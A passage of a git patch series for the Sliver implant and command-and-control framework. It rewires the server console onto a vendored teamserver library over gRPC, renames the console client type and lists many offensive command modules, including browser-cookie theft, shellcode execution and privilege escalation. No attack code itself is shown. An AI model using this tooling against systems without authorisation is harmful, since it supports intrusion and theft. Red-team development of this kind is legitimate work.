GetBeacon() *clientpb.Beacon { return s.beacon } @@ -685,7 +683,7 @@ func (s *ActiveTarget) IsSession() bool { return s.session != nil } -// AddObserver - Observers to notify when the active session changes +// AddObserver - Observers to notify when the active session changes. func (s *ActiveTarget) AddObserver(observer Observer) int { s.observerID++ s.observers[s.observerID] = observer @@ -722,7 +720,7 @@ func (s *ActiveTarget) Request(cmd *cobra.Command) *commonpb.Request { return req } -// Set - Change the active session +// Set - Change the active session. func (s *ActiveTarget) Set(session *clientpb.Session, beacon *clientpb.Beacon) { if session != nil && beacon != nil { s.con.PrintErrorf("cannot set both an active beacon and an active session") @@ -776,7 +774,7 @@ func (s *ActiveTarget) Set(session *clientpb.Session, beacon *clientpb.Beacon) { } } -// Background - Background the active session +// Background - Background the active session. func (s *ActiveTarget) Background() { defer s.con.App.ShowCommands() @@ -794,7 +792,7 @@ func (s *ActiveTarget) Background() { // Expose or hide commands if the active target does support them (or not). // Ex; hide Windows commands on Linux implants, Wireguard tools on HTTP C2, etc. -func (con *SliverConsoleClient) ExposeCommands() { +func (con *SliverClient) ExposeCommands() { con.App.ShowCommands() if con.ActiveTarget.session == nil && con.ActiveTarget.beacon == nil { diff --git a/server/cli/cli.go b/server/cli/cli.go index c150e8f24f..cdab21160e 100644 --- a/server/cli/cli.go +++ b/server/cli/cli.go @@ -23,18 +23,18 @@ import ( "log" "os" "path/filepath" - "runtime/debug" "strings" - "github.com/spf13/cobra" - + "github.com/bishopfox/sliver/client/command" + "github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/server/assets" "github.com/bishopfox/sliver/server/c2" "github.com/bishopfox/sliver/server/certs" "github.com/bishopfox/sliver/server/configs" - "github.com/bishopfox/sliver/server/console" "github.com/bishopfox/sliver/server/cryptography" - "github.com/bishopfox/sliver/server/daemon" + "github.com/reeflective/team/server/commands" + "github.com/rsteube/carapace" + "github.com/spf13/cobra" ) const ( @@ -68,17 +68,52 @@ func initConsoleLogging(appDir string) *os.File { } func init() { + // Console interface, started closed-loop or not. + con := console.NewConsole(false) + + // Teamserver/client API and commands for remote/local CLI. + teamserver, teamclient := newSliverTeam(con) + teamserverCmds := commands.Generate(teamserver, teamclient) + + rootCmd.AddCommand(teamserverCmds) + + // Pre-runners to self-connect + preRun := func(cmd *cobra.Command, _ []string) error { + // Ensure the server has what it needs + assets.Setup(false, true) + certs.SetupCAs() + certs.SetupWGKeys() + cryptography.AgeServerKeyPair() + cryptography.MinisignServerPrivateKey() + + // Let our runtime teamclient be served. + if err := teamserver.Serve(teamclient); err != nil { + return err + } + + // Start persistent implant/c2 jobs (not teamservers) + serverConfig := configs.GetServerConfig() + c2.StartPersistentJobs(serverConfig) + + // Only start the teamservers when the console being + // ran is the console itself: the daemon command will + // start them on its own, since the config is different. + if cmd.Name() == "console" { + teamserver.ListenerStartPersistents() // Automatically logged errors. + // console.StartPersistentJobs(serverConfig) // Old alternative + } + + return nil + } + + rootCmd.PersistentPreRunE = preRun + + rootCmd.AddCommand(consoleCmd(con)) + // Unpack unpackCmd.Flags().BoolP(forceFlagStr, "f", false, "Force unpack and overwrite") rootCmd.AddCommand(unpackCmd) - // Operator - operatorCmd.Flags().StringP(nameFlagStr, "n", "", "operator name") - operatorCmd.Flags().StringP(lhostFlagStr, "l", "", "multiplayer listener host") - operatorCmd.Flags().Uint16P(lportFlagStr, "p", uint16(31337), "multiplayer listener port") - operatorCmd.Flags().StringP(saveFlagStr, "s", "", "save file to ...") - rootCmd.AddCommand(operatorCmd) - // Certs cmdExportCA.Flags().StringP(saveFlagStr, "s", "", "save CA to file ...") cmdExportCA.Flags().StringP(caTypeFlagStr, "t", "", fmt.Sprintf("ca type (%s)", strings.Join(validCATypes(), ", "))) @@ -88,54 +123,54 @@ func init() { cmdImportCA.Flags().StringP(caTypeFlagStr, "t", "", fmt.Sprintf("ca type (%s)", strings.Join(validCATypes(), ", "))) rootCmd.AddCommand(cmdImportCA) - // Daemon - daemonCmd.Flags().StringP(lhostFlagStr, "l", daemon.BlankHost, "multiplayer listener host") - daemonCmd.Flags().Uint16P(lportFlagStr, "p", daemon.BlankPort, "multiplayer listener port") - daemonCmd.Flags().BoolP(forceFlagStr, "f", false, "force unpack and overwrite static assets") - rootCmd.AddCommand(daemonCmd) - // Builder rootCmd.AddCommand(initBuilderCmd()) // Version rootCmd.AddCommand(versionCmd) + + // Completions + comps := carapace.Gen(rootCmd) + comps.PreRun(func(cmd *cobra.Command, args []string) { + preRun(cmd, args) + }) } var rootCmd = &cobra.Command{ Use: "sliver-server", Short: "", Long: ``, - Run: func(cmd *cobra.Command, args []string) { - // Root command starts the server normally - - appDir := assets.GetRootAppDir() - logFile := initConsoleLogging(appDir) - defer logFile.Close() - - defer func() { - if r := recover(); r != nil { - log.Printf("panic:\n%s", debug.Stack()) - fmt.Println("stacktrace from panic: \n" + string(debug.Stack())) - os.Exit(99) - } - }() - - assets.Setup(false, true) - certs.SetupCAs() - certs.SetupWGKeys() - cryptography.AgeServerKeyPair() - cryptography.MinisignServerPrivateKey() - - serverConfig := configs.GetServerConfig() - c2.StartPersistentJobs(serverConfig) - console.StartPersistentJobs(serverConfig) - if serverConfig.DaemonMode { - daemon.Start(daemon.BlankHost, daemon.BlankPort) - } else { - os.Args = os.Args[:1] // Hide cli from grumble console - console.Start() - } - }, + // Run: func(cmd *cobra.Command, args []string) { + // // Root command starts the server normally + // + // appDir := assets.GetRootAppDir() + // logFile := initConsoleLogging(appDir) + // defer logFile.Close() + // + // defer func() { + // if r := recover(); r != nil { + // log.Printf("panic:\n%s", debug.Stack()) + // fmt.Println("stacktrace from panic: \n" + string(debug.Stack())) + // os.Exit(99) + // } + // }() + // + // assets.Setup(false, true) + // certs.SetupCAs() + // certs.SetupWGKeys() + // cryptography.AgeServerKeyPair() + // cryptography.MinisignServerPrivateKey() + // + // serverConfig := configs.GetServerConfig() + // c2.StartPersistentJobs(serverConfig) + // console.StartPersistentJobs(serverConfig) + // if serverConfig.DaemonMode { + // daemon.Start(daemon.BlankHost, daemon.BlankPort) + // } else { + // os.Args = os.Args[:1] // Hide cli from grumble console + // console.Start() + // } + // }, } // Execute - Execute root command @@ -145,3 +180,52 @@ func Execute() { os.Exit(1) } } + +func initAlt() { + // Unpack + unpackCmd.Flags().BoolP(forceFlagStr, "f", false, "Force unpack and overwrite") + rootCmd.AddCommand(unpackCmd) + + // Operator + // operatorCmd.Flags().StringP(nameFlagStr, "n", "", "operator name") + // operatorCmd.Flags().StringP(lhostFlagStr, "l", "", "multiplayer listener host") + // operatorCmd.Flags().Uint16P(lportFlagStr, "p", uint16(31337), "multiplayer listener port") + // operatorCmd.Flags().StringP(saveFlagStr, "s", "", "save file to ...") + // rootCmd.AddCommand(operatorCmd) + + // Certs + cmdExportCA.Flags().StringP(saveFlagStr, "s", "", "save CA to file ...") + cmdExportCA.Flags().StringP(caTypeFlagStr, "t", "", fmt.Sprintf("ca type (%s)", strings.Join(validCATypes(), ", "))) + rootCmd.AddCommand(cmdExportCA) + + cmdImportCA.Flags().StringP(loadFlagStr, "l", "", "load CA from file ...") + cmdImportCA.Flags().StringP(caTypeFlagStr, "t", "", fmt.Sprintf("ca type (%s)", strings.Join(validCATypes(), ", "))) + rootCmd.AddCommand(cmdImportCA) + + // Daemon + // daemonCmd.Flags().StringP(lhostFlagStr, "l", daemon.BlankHost, "multiplayer listener host") + // daemonCmd.Flags().Uint16P(lportFlagStr, "p", daemon.BlankPort, "multiplayer listener port") + // daemonCmd.Flags().BoolP(forceFlagStr, "f", false, "force unpack and overwrite static assets") + // rootCmd.AddCommand(daemonCmd) + + // Builder + rootCmd.AddCommand(initBuilderCmd()) + + // Version + rootCmd.AddCommand(versionCmd) +} + +// consoleCmd generates the console with required pre/post runners +func consoleCmd(con *console.SliverClient) *cobra.Command { + consoleCmd := &cobra.Command{ + Use: "console", + Short: "Start the sliver client console", + RunE: func(cmd *cobra.Command, args []string) error { + return console.StartClient(con, con.Rpc, command.ServerCommands(con, nil), command.SliverCommands(con), true) + }, + } + + // consoleCmd.RunE, consoleCmd.PersistentPostRunE = consoleRunnerCmd(con, true) + + return consoleCmd +} diff --git a/server/cli/teamserver.go b/server/cli/teamserver.go new file mode 100644 index 0000000000..75efe3da0c --- /dev/null +++ b/server/cli/teamserver.go @@ -0,0 +1,83 @@ +package cli + +/* + Sliver Implant Framework + Copyright (C) 2019 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "errors" + "log" + + "github.com/bishopfox/sliver/client/console" + "github.com/bishopfox/sliver/protobuf/rpcpb" + "github.com/bishopfox/sliver/server/rpc" + "github.com/reeflective/team/client" + "github.com/reeflective/team/server" + teamGrpc "github.com/reeflective/team/transports/grpc/server" + "google.golang.org/grpc" +) + +func newSliverTeam(con *console.SliverConsoleClient) (*server.Server, *client.Client) { + // Teamserver + gTeamserver := teamGrpc.NewListener() + + var serverOpts []server.Options + serverOpts = append(serverOpts, + server.WithDefaultPort(31337), + server.WithListener(gTeamserver), + ) + + teamserver, err := server.New("sliver", serverOpts...) + if err != nil { + log.Fatal(err) + } + + bindServer := func(grpcServer *grpc.Server) error { + if grpcServer == nil { + return errors.New("No gRPC server to use for service") + } + + rpcpb.RegisterSliverRPCServer(grpcServer, rpc.NewServer()) + + return nil + } + + gTeamserver.PostServe(bindServer) + + // Teamclient + gTeamclient := teamGrpc.NewClientFrom(gTeamserver) + + bindClient := func(clientConn any) error { + grpcClient, ok := clientConn.(*grpc.ClientConn) + if !ok || grpcClient == nil { + return errors.New("No gRPC client to use for service") + } + + con.Rpc = rpcpb.NewSliverRPCClient(grpcClient) + + return nil + } + + var clientOpts []client.Options + clientOpts = append(clientOpts, + client.WithDialer(gTeamclient, bindClient), + ) + + teamclient := teamserver.Self(clientOpts...) + + return teamserver, teamclient +} diff --git a/server/console/console.go b/server/console/console.go index 7303ac9156..af40d3a734 100644 --- a/server/console/console.go +++ b/server/console/console.go @@ -32,7 +32,6 @@ import ( "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" clienttransport "github.com/bishopfox/sliver/client/transport" - "github.com/bishopfox/sliver/protobuf/rpcpb" "github.com/bishopfox/sliver/server/configs" "github.com/bishopfox/sliver/server/transport" "google.golang.org/grpc" @@ -56,13 +55,13 @@ func Start() { return } defer conn.Close() - localRPC := rpcpb.NewSliverRPCClient(conn) + // localRPC := rpcpb.NewSliverRPCClient(conn) if err := configs.CheckHTTPC2ConfigErrors(); err != nil { fmt.Printf(Warn+"Error in HTTP C2 config: %s\n", err) } con := console.NewConsole(false) - console.StartClient(con, localRPC, command.ServerCommands(con, serverOnlyCmds), command.SliverCommands(con), true) + console.StartClient(con, command.ServerCommands(con, serverOnlyCmds), command.SliverCommands(con), true) con.App.Start() } From 9a51d32fa7671158ffeded9ba6fcdcb18fbd35c0 Mon Sep 17 00:00:00 2001 From: maxlandon Date: Wed, 19 Jul 2023 05:38:04 +0200 Subject: [PATCH 009/124] New vendor deps + renaming --- client/command/alias/alias.go | 6 +- client/command/alias/commands.go | 2 +- client/command/alias/install.go | 8 +- client/command/alias/load.go | 12 +- client/command/alias/remove.go | 4 +- client/command/armory/armory.go | 6 +- client/command/armory/commands.go | 2 +- client/command/armory/install.go | 16 +- client/command/armory/search.go | 2 +- client/command/armory/update.go | 6 +- client/command/backdoor/backdoor.go | 2 +- client/command/backdoor/commands.go | 2 +- client/command/beacons/beacons.go | 6 +- client/command/beacons/commands.go | 4 +- client/command/beacons/helpers.go | 6 +- client/command/beacons/prune.go | 2 +- client/command/beacons/rm.go | 2 +- client/command/beacons/watch.go | 2 +- client/command/builders/builders.go | 4 +- client/command/builders/commands.go | 2 +- client/command/command.go | 5 +- client/command/crack/commands.go | 2 +- client/command/crack/crack-files.go | 24 +- client/command/crack/crack.go | 14 +- client/command/crack/helpers.go | 6 +- client/command/creds/add.go | 4 +- client/command/creds/commands.go | 2 +- client/command/creds/creds.go | 14 +- client/command/creds/rm.go | 2 +- client/command/creds/select.go | 2 +- client/command/cursed/commands.go | 2 +- client/command/cursed/cursed-chrome.go | 12 +- client/command/cursed/cursed-console.go | 6 +- client/command/cursed/cursed-cookies.go | 2 +- client/command/cursed/cursed-edge.go | 6 +- client/command/cursed/cursed-electron.go | 10 +- client/command/cursed/cursed-rm.go | 2 +- client/command/cursed/cursed-screenshot.go | 2 +- client/command/cursed/cursed.go | 4 +- client/command/dllhijack/commands.go | 2 +- client/command/dllhijack/dllhijack.go | 2 +- client/command/environment/commands.go | 2 +- client/command/environment/get.go | 4 +- client/command/environment/set.go | 4 +- client/command/environment/unset.go | 4 +- client/command/exec/commands.go | 2 +- client/command/exec/execute-assembly.go | 4 +- client/command/exec/execute-shellcode.go | 6 +- client/command/exec/execute.go | 12 +- client/command/exec/migrate.go | 2 +- client/command/exec/msf-inject.go | 4 +- client/command/exec/msf.go | 2 +- client/command/exec/psexec.go | 2 +- client/command/exec/sideload.go | 4 +- client/command/exec/spawndll.go | 4 +- client/command/exec/ssh.go | 6 +- client/command/exit/exit.go | 4 +- client/command/extensions/commands.go | 2 +- client/command/extensions/extensions.go | 6 +- client/command/extensions/install.go | 8 +- client/command/extensions/list.go | 2 +- client/command/extensions/load.go | 14 +- client/command/extensions/remove.go | 4 +- client/command/filesystem/cat.go | 4 +- client/command/filesystem/cd.go | 2 +- client/command/filesystem/chmod.go | 4 +- client/command/filesystem/chown.go | 4 +- client/command/filesystem/chtimes.go | 4 +- client/command/filesystem/commands.go | 2 +- client/command/filesystem/cp.go | 4 +- client/command/filesystem/download.go | 4 +- client/command/filesystem/ls.go | 4 +- client/command/filesystem/memfiles-add.go | 4 +- client/command/filesystem/memfiles-list.go | 4 +- client/command/filesystem/memfiles-rm.go | 4 +- client/command/filesystem/mkdir.go | 4 +- client/command/filesystem/mv.go | 4 +- client/command/filesystem/pwd.go | 4 +- client/command/filesystem/rm.go | 4 +- client/command/filesystem/upload.go | 4 +- client/command/generate/canaries.go | 4 +- client/command/generate/commands.go | 4 +- client/command/generate/generate-beacon.go | 4 +- client/command/generate/generate-info.go | 2 +- client/command/generate/generate-stager.go | 2 +- client/command/generate/generate.go | 22 +- client/command/generate/helpers.go | 8 +- client/command/generate/implants-rm.go | 2 +- client/command/generate/implants.go | 8 +- client/command/generate/profiles-generate.go | 2 +- client/command/generate/profiles-new.go | 4 +- client/command/generate/profiles-rm.go | 2 +- client/command/generate/profiles.go | 12 +- client/command/generate/regenerate.go | 2 +- client/command/generate/traffic-encoders.go | 16 +- client/command/hosts/commands.go | 2 +- client/command/hosts/hosts-ioc-rm.go | 2 +- client/command/hosts/hosts-ioc.go | 6 +- client/command/hosts/hosts-rm.go | 2 +- client/command/hosts/hosts.go | 12 +- client/command/info/commands.go | 4 +- client/command/info/info.go | 12 +- client/command/info/ping.go | 2 +- client/command/jobs/commands.go | 2 +- client/command/jobs/dns.go | 2 +- client/command/jobs/http.go | 2 +- client/command/jobs/https.go | 2 +- client/command/jobs/jobs.go | 10 +- client/command/jobs/mtls.go | 2 +- client/command/jobs/stage.go | 2 +- client/command/jobs/wg.go | 2 +- client/command/kill/commands.go | 2 +- client/command/kill/kill.go | 6 +- client/command/licenses/commands.go | 2 +- client/command/loot/commands.go | 6 +- client/command/loot/fetch.go | 2 +- client/command/loot/local.go | 2 +- client/command/loot/loot.go | 6 +- client/command/loot/remote.go | 8 +- client/command/loot/rename.go | 2 +- client/command/loot/rm.go | 2 +- client/command/monitor/commands.go | 2 +- client/command/monitor/start.go | 2 +- client/command/monitor/stop.go | 2 +- client/command/network/commands.go | 2 +- client/command/network/ifconfig.go | 4 +- client/command/network/netstat.go | 4 +- client/command/operators/commands.go | 2 +- client/command/operators/operators.go | 4 +- client/command/pivots/commands.go | 2 +- client/command/pivots/details.go | 4 +- client/command/pivots/graph.go | 2 +- client/command/pivots/helpers.go | 4 +- client/command/pivots/pivots.go | 4 +- client/command/pivots/start.go | 4 +- client/command/pivots/stop.go | 2 +- client/command/portfwd/commands.go | 2 +- client/command/portfwd/portfwd-add.go | 2 +- client/command/portfwd/portfwd-rm.go | 2 +- client/command/portfwd/portfwd.go | 6 +- client/command/prelude-operator/commands.go | 2 +- client/command/prelude-operator/connect.go | 2 +- client/command/prelude-operator/operator.go | 2 +- client/command/privilege/commands.go | 2 +- client/command/privilege/getprivs.go | 4 +- client/command/privilege/getsystem.go | 4 +- client/command/privilege/impersonate.go | 4 +- client/command/privilege/make-token.go | 4 +- client/command/privilege/rev2self.go | 4 +- client/command/privilege/runas.go | 4 +- client/command/processes/commands.go | 2 +- client/command/processes/procdump.go | 6 +- client/command/processes/ps.go | 8 +- client/command/processes/terminate.go | 4 +- client/command/reaction/commands.go | 2 +- client/command/reaction/helpers.go | 2 +- client/command/reaction/reaction.go | 4 +- client/command/reaction/reload.go | 2 +- client/command/reaction/save.go | 2 +- client/command/reaction/set.go | 6 +- client/command/reaction/unset.go | 4 +- client/command/reconfig/commands.go | 2 +- client/command/reconfig/reconfig.go | 2 +- client/command/reconfig/rename.go | 2 +- client/command/registry/commands.go | 2 +- client/command/registry/reg-create.go | 4 +- client/command/registry/reg-delete.go | 4 +- client/command/registry/reg-list.go | 8 +- client/command/registry/reg-read.go | 4 +- client/command/registry/reg-write.go | 4 +- client/command/rportfwd/commands.go | 2 +- client/command/rportfwd/portfwd-add.go | 4 +- client/command/rportfwd/portfwd-rm.go | 4 +- client/command/rportfwd/portfwd.go | 6 +- client/command/screenshot/commands.go | 2 +- client/command/screenshot/screenshot.go | 6 +- client/command/server.go | 11 +- client/command/sessions/background.go | 2 +- client/command/sessions/close.go | 2 +- client/command/sessions/commands.go | 6 +- client/command/sessions/helpers.go | 2 +- client/command/sessions/interactive.go | 2 +- client/command/sessions/prune.go | 2 +- client/command/sessions/sessions.go | 4 +- client/command/settings/beacons.go | 2 +- client/command/settings/commands.go | 2 +- client/command/settings/opsec.go | 6 +- client/command/settings/settings.go | 14 +- client/command/settings/tables.go | 6 +- client/command/shell/commands.go | 2 +- client/command/shell/shell.go | 4 +- client/command/shikata-ga-nai/commands.go | 2 +- client/command/shikata-ga-nai/sgn.go | 2 +- client/command/sliver.go | 7 +- client/command/socks/commands.go | 2 +- client/command/socks/socks-start.go | 2 +- client/command/socks/socks-stop.go | 2 +- client/command/socks/socks.go | 4 +- client/command/taskmany/taskmany.go | 10 +- client/command/tasks/commands.go | 2 +- client/command/tasks/fetch.go | 10 +- client/command/tasks/helpers.go | 4 +- client/command/tasks/tasks-cancel.go | 2 +- client/command/tasks/tasks.go | 4 +- client/command/update/commands.go | 2 +- client/command/update/update.go | 6 +- client/command/use/beacons.go | 2 +- client/command/use/commands.go | 2 +- client/command/use/sessions.go | 2 +- client/command/use/use.go | 10 +- client/command/wasm/commands.go | 2 +- client/command/wasm/memfs.go | 2 +- client/command/wasm/wasm.go | 14 +- client/command/websites/commands.go | 2 +- .../command/websites/websites-add-content.go | 2 +- .../command/websites/websites-rm-content.go | 2 +- client/command/websites/websites-rm.go | 2 +- .../websites/websites-update-content.go | 2 +- client/command/websites/websites.go | 10 +- client/command/wireguard/commands.go | 4 +- client/command/wireguard/wg-config.go | 2 +- client/command/wireguard/wg-portfwd-add.go | 2 +- client/command/wireguard/wg-portfwd-rm.go | 4 +- client/command/wireguard/wg-portfwd.go | 2 +- client/command/wireguard/wg-socks-start.go | 2 +- client/command/wireguard/wg-socks-stop.go | 2 +- client/command/wireguard/wg-socks.go | 4 +- go.mod | 14 +- go.sum | 17 +- .../github.com/ncruces/go-sqlite3/README.md | 11 +- vendor/github.com/ncruces/go-sqlite3/conn.go | 6 +- .../ncruces/go-sqlite3/driver/driver.go | 16 +- .../ncruces/go-sqlite3/embed/build.sh | 9 +- .../ncruces/go-sqlite3/embed/sqlite3.wasm | Bin 1444429 -> 1427169 bytes vendor/github.com/ncruces/go-sqlite3/go.work | 6 + vendor/github.com/psanford/memfs/LICENSE | 27 + vendor/github.com/psanford/memfs/Readme.md | 50 ++ vendor/github.com/psanford/memfs/memfs.go | 426 +++++++++++++++ .../github.com/reeflective/team/.golangci.yml | 450 ++++++++++++++++ vendor/github.com/reeflective/team/README.md | 120 +++++ .../reeflective/team/client/client.go | 282 ++++++++++ .../team/client/commands/commands.go | 230 ++++++++ .../team/client/commands/import.go | 60 +++ .../reeflective/team/client/commands/users.go | 89 +++ .../team/client/commands/version.go | 63 +++ .../reeflective/team/client/config.go | 256 +++++++++ .../reeflective/team/client/directories.go | 94 ++++ .../reeflective/team/client/errors.go | 43 ++ .../github.com/reeflective/team/client/log.go | 114 ++++ .../reeflective/team/client/options.go | 200 +++++++ .../reeflective/team/internal/assets/fs.go | 203 +++++++ .../reeflective/team/internal/certs/README.md | 4 + .../reeflective/team/internal/certs/ca.go | 149 ++++++ .../reeflective/team/internal/certs/certs.go | 375 +++++++++++++ .../reeflective/team/internal/certs/tls.go | 87 +++ .../reeflective/team/internal/certs/users.go | 100 ++++ .../team/internal/command/command.go | 108 ++++ .../team/internal/db/certificates.go | 47 ++ .../reeflective/team/internal/db/config.go | 93 ++++ .../reeflective/team/internal/db/sql-cgo.go | 35 ++ .../reeflective/team/internal/db/sql-go.go | 34 ++ .../reeflective/team/internal/db/sql-wasm.go | 38 ++ .../reeflective/team/internal/db/sql.go | 126 +++++ .../reeflective/team/internal/db/user.go | 47 ++ .../team/internal/db/wasmsqlite/License | 21 + .../team/internal/db/wasmsqlite/README.md | 56 ++ .../team/internal/db/wasmsqlite/ddlmod.go | 234 ++++++++ .../team/internal/db/wasmsqlite/errors.go | 7 + .../team/internal/db/wasmsqlite/migrator.go | 423 +++++++++++++++ .../team/internal/db/wasmsqlite/sqlite.go | 224 ++++++++ .../reeflective/team/internal/log/cli.go | 300 +++++++++++ .../reeflective/team/internal/log/db.go | 63 +++ .../reeflective/team/internal/log/log.go | 181 +++++++ .../reeflective/team/internal/log/perms.go | 60 +++ .../team/internal/log/perms_windows.go | 46 ++ .../reeflective/team/internal/log/text.go | 97 ++++ .../team/internal/systemd/config.go | 110 ++++ .../team/internal/systemd/teamserver.service | 17 + .../team/internal/version/.gitignore | 1 + .../internal/version/teamserver_version_info | 14 + .../team/internal/version/version.go | 96 ++++ .../team/server/commands/commands.go | 260 +++++++++ .../team/server/commands/completers.go | 140 +++++ .../team/server/commands/teamserver.go | 372 +++++++++++++ .../reeflective/team/server/commands/user.go | 216 ++++++++ .../reeflective/team/server/config.go | 205 +++++++ .../reeflective/team/server/core.go | 240 +++++++++ .../github.com/reeflective/team/server/db.go | 193 +++++++ .../reeflective/team/server/directories.go | 124 +++++ .../reeflective/team/server/errors.go | 83 +++ .../reeflective/team/server/jobs.go | 227 ++++++++ .../github.com/reeflective/team/server/log.go | 141 +++++ .../reeflective/team/server/options.go | 236 ++++++++ .../reeflective/team/server/server.go | 263 +++++++++ .../reeflective/team/server/users.go | 279 ++++++++++ .../github.com/reeflective/team/teamclient.go | 66 +++ .../team/transports/grpc/client/client.go | 189 +++++++ .../team/transports/grpc/client/middleware.go | 99 ++++ .../team/transports/grpc/common/log.go | 66 +++ .../team/transports/grpc/proto/buf.gen.yaml | 13 + .../team/transports/grpc/proto/buf.work.yaml | 3 + .../team/transports/grpc/proto/buf.yaml | 12 + .../team/transports/grpc/proto/client.pb.go | 505 ++++++++++++++++++ .../team/transports/grpc/proto/client.proto | 40 ++ .../team/transports/grpc/proto/service.pb.go | 85 +++ .../team/transports/grpc/proto/service.proto | 13 + .../transports/grpc/proto/service_grpc.pb.go | 146 +++++ .../team/transports/grpc/server/middleware.go | 218 ++++++++ .../team/transports/grpc/server/rpc.go | 73 +++ .../team/transports/grpc/server/server.go | 204 +++++++ vendor/golang.org/x/sync/errgroup/errgroup.go | 10 +- vendor/golang.org/x/sync/errgroup/go120.go | 14 + .../golang.org/x/sync/errgroup/pre_go120.go | 15 + vendor/modules.txt | 32 +- 314 files changed, 11201 insertions(+), 535 deletions(-) create mode 100644 vendor/github.com/ncruces/go-sqlite3/go.work create mode 100644 vendor/github.com/psanford/memfs/LICENSE create mode 100644 vendor/github.com/psanford/memfs/Readme.md create mode 100644 vendor/github.com/psanford/memfs/memfs.go create mode 100644 vendor/github.com/reeflective/team/.golangci.yml create mode 100644 vendor/github.com/reeflective/team/README.md create mode 100644 vendor/github.com/reeflective/team/client/client.go create mode 100644 vendor/github.com/reeflective/team/client/commands/commands.go create mode 100644 vendor/github.com/reeflective/team/client/commands/import.go create mode 100644 vendor/github.com/reeflective/team/client/commands/users.go create mode 100644 vendor/github.com/reeflective/team/client/commands/version.go create mode 100644 vendor/github.com/reeflective/team/client/config.go create mode 100644 vendor/github.com/reeflective/team/client/directories.go create mode 100644 vendor/github.com/reeflective/team/client/errors.go create mode 100644 vendor/github.com/reeflective/team/client/log.go create mode 100644 vendor/github.com/reeflective/team/client/options.go create mode 100644 vendor/github.com/reeflective/team/internal/assets/fs.go create mode 100644 vendor/github.com/reeflective/team/internal/certs/README.md create mode 100644 vendor/github.com/reeflective/team/internal/certs/ca.go create mode 100644 vendor/github.com/reeflective/team/internal/certs/certs.go create mode 100644 vendor/github.com/reeflective/team/internal/certs/tls.go create mode 100644 vendor/github.com/reeflective/team/internal/certs/users.go create mode 100644 vendor/github.com/reeflective/team/internal/command/command.go create mode 100644 vendor/github.com/reeflective/team/internal/db/certificates.go create mode 100644 vendor/github.com/reeflective/team/internal/db/config.go create mode 100644 vendor/github.com/reeflective/team/internal/db/sql-cgo.go create mode 100644 vendor/github.com/reeflective/team/internal/db/sql-go.go create mode 100644 vendor/github.com/reeflective/team/internal/db/sql-wasm.go create mode 100644 vendor/github.com/reeflective/team/internal/db/sql.go create mode 100644 vendor/github.com/reeflective/team/internal/db/user.go create mode 100644 vendor/github.com/reeflective/team/internal/db/wasmsqlite/License create mode 100644 vendor/github.com/reeflective/team/internal/db/wasmsqlite/README.md create mode 100644 vendor/github.com/reeflective/team/internal/db/wasmsqlite/ddlmod.go create mode 100644 vendor/github.com/reeflective/team/internal/db/wasmsqlite/errors.go create mode 100644 vendor/github.com/reeflective/team/internal/db/wasmsqlite/migrator.go create mode 100644 vendor/github.com/reeflective/team/internal/db/wasmsqlite/sqlite.go create mode 100644 vendor/github.com/reeflective/team/internal/log/cli.go create mode 100644 vendor/github.com/reeflective/team/internal/log/db.go create mode 100644 vendor/github.com/reeflective/team/internal/log/log.go create mode 100644 vendor/github.com/reeflective/team/internal/log/perms.go create mode 100644 vendor/github.com/reeflective/team/internal/log/perms_windows.go create mode 100644 vendor/github.com/reeflective/team/internal/log/text.go create mode 100644 vendor/github.com/reeflective/team/internal/systemd/config.go create mode 100644 vendor/github.com/reeflective/team/internal/systemd/teamserver.service create mode 100644 vendor/github.com/reeflective/team/internal/version/.gitignore create mode 100644 vendor/github.com/reeflective/team/internal/version/teamserver_version_info create mode 100644 vendor/github.com/reeflective/team/internal/version/version.go create mode 100644 vendor/github.com/reeflective/team/server/commands/commands.go create mode 100644 vendor/github.com/reeflective/team/server/commands/completers.go create mode 100644 vendor/github.com/reeflective/team/server/commands/teamserver.go create mode 100644 vendor/github.com/reeflective/team/server/commands/user.go create mode 100644 vendor/github.com/reeflective/team/server/config.go create mode 100644 vendor/github.com/reeflective/team/server/core.go create mode 100644 vendor/github.com/reeflective/team/server/db.go create mode 100644 vendor/github.com/reeflective/team/server/directories.go create mode 100644 vendor/github.com/reeflective/team/server/errors.go create mode 100644 vendor/github.com/reeflective/team/server/jobs.go create mode 100644 vendor/github.com/reeflective/team/server/log.go create mode 100644 vendor/github.com/reeflective/team/server/options.go create mode 100644 vendor/github.com/reeflective/team/server/server.go create mode 100644 vendor/github.com/reeflective/team/server/users.go create mode 100644 vendor/github.com/reeflective/team/teamclient.go create mode 100644 vendor/github.com/reeflective/team/transports/grpc/client/client.go create mode 100644 vendor/github.com/reeflective/team/transports/grpc/client/middleware.go create mode 100644 vendor/github.com/reeflective/team/transports/grpc/common/log.go create mode 100644 vendor/github.com/reeflective/team/transports/grpc/proto/buf.gen.yaml create mode 100644 vendor/github.com/reeflective/team/transports/grpc/proto/buf.work.yaml create mode 100644 vendor/github.com/reeflective/team/transports/grpc/proto/buf.yaml create mode 100644 vendor/github.com/reeflective/team/transports/grpc/proto/client.pb.go create mode 100644 vendor/github.com/reeflective/team/transports/grpc/proto/client.proto create mode 100644 vendor/github.com/reeflective/team/transports/grpc/proto/service.pb.go create mode 100644 vendor/github.com/reeflective/team/transports/grpc/proto/service.proto create mode 100644 vendor/github.com/reeflective/team/transports/grpc/proto/service_grpc.pb.go create mode 100644 vendor/github.com/reeflective/team/transports/grpc/server/middleware.go create mode 100644 vendor/github.com/reeflective/team/transports/grpc/server/rpc.go create mode 100644 vendor/github.com/reeflective/team/transports/grpc/server/server.go create mode 100644 vendor/golang.org/x/sync/errgroup/go120.go create mode 100644 vendor/golang.org/x/sync/errgroup/pre_go120.go diff --git a/client/command/alias/alias.go b/client/command/alias/alias.go index 2ff708f858..595c8831f9 100644 --- a/client/command/alias/alias.go +++ b/client/command/alias/alias.go @@ -35,7 +35,7 @@ import ( ) // AliasesCmd - The alias command -func AliasesCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) error { +func AliasesCmd(cmd *cobra.Command, con *console.SliverClient, args []string) error { if 0 < len(loadedAliases) { PrintAliases(con) } else { @@ -46,7 +46,7 @@ func AliasesCmd(cmd *cobra.Command, con 